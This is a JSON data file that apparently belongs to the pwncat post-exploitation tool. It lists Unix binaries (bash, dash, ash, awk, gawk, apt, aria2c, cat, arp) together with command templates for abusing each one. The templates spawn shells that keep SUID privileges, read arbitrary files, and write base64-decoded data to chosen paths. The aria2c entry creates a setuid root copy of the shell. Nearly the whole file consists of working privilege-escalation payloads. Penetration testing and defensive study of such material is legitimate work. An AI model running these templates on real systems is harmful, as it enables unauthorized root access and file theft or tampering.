pwncat/data/gtfobins.json

[
	{
		"name": "bash",
		"shell": {
			"script": "{command}", 
			"suid": ["-p"]
		},
		"read_file": "{path} -p -c \"cat {lfile}\"",
		"write_file": {
			"type": "base64",
			"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
		},
		"command": "{path} -p -c {command}"
	},
	{
		"name": "apt-get",
		"shell": {
			"need": ["changelog", "apt"],
			"input": "!{shell}\n",
			"exit": "exit\nq\n"
		}
	},
	{
		"name": "apt",
		"shell": {
			"need": ["changelog", "apt"],
			"input": "!{shell}\n",
			"exit": "exit\nq\n"
		}
	},
	{
		"name": "aria2c",
		"shell": {
			"script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p",
			"need": ["--on-download-error=$TF","http://x"]
		}
	},
	{
		"name": "cat",
		"read_file": "{path} {lfile}"
	},
	{
		"name": "arp",
		"read_file": "{path} -v -f {lfile} 2>&1 | while read line; do substring=\"\"; if ! test \"${{line#*arp}}\" != \"$line\"; then echo ${{line#>> }}; fi; done",
		"safe":false
	},
	{
		"name": "ash",
		"shell": {
			"script": "{command}", 
			"suid": ["-p"]
		},
		"read_file": "{path} -p -c \"cat {lfile}\"",
		"write_file": {
			"type": "base64",
			"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
		},
		"command": "{path} -p -c {command}"
	},
	{
		"name": "awk",
		"shell": {
			"script": "{command} 'BEGIN {{system(\"/bin/sh\")}}'"
		},
		"read_file": "{path} '//' {lfile}",
		"write_file": {
			"type": "base64",
			"payload": "{path} -v LFILE={lfile} 'BEGIN {{ \"echo \\\"{data}\\\" | base64 -d\" | getline x ; print x > LFILE }}'"
		}
	},
	{
		"name": "gawk",
		"shell": {
			"script": "{command} 'BEGIN {{system(\"/bin/sh\")}}'"
		},
		"read_file": "{path} '//' {lfile}",
		"write_file": {
			"type": "base64",
			"payload": "{path} -v LFILE={lfile} 'BEGIN {{ \"echo \\\"{data}\\\" | base64 -d\" | getline x ; print x > LFILE }}'"
		}
	},
	{
		"name": "dash",
		"shell": {
			"script": "{command}", 
			"suid": ["-p"]
		},
		"read_file": "{path} -p -c \"cat {lfile}\"",
		"write_file": {
			"type": "base64",
			"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
		},
		"command": "{path} -p -c {command}"
	}
]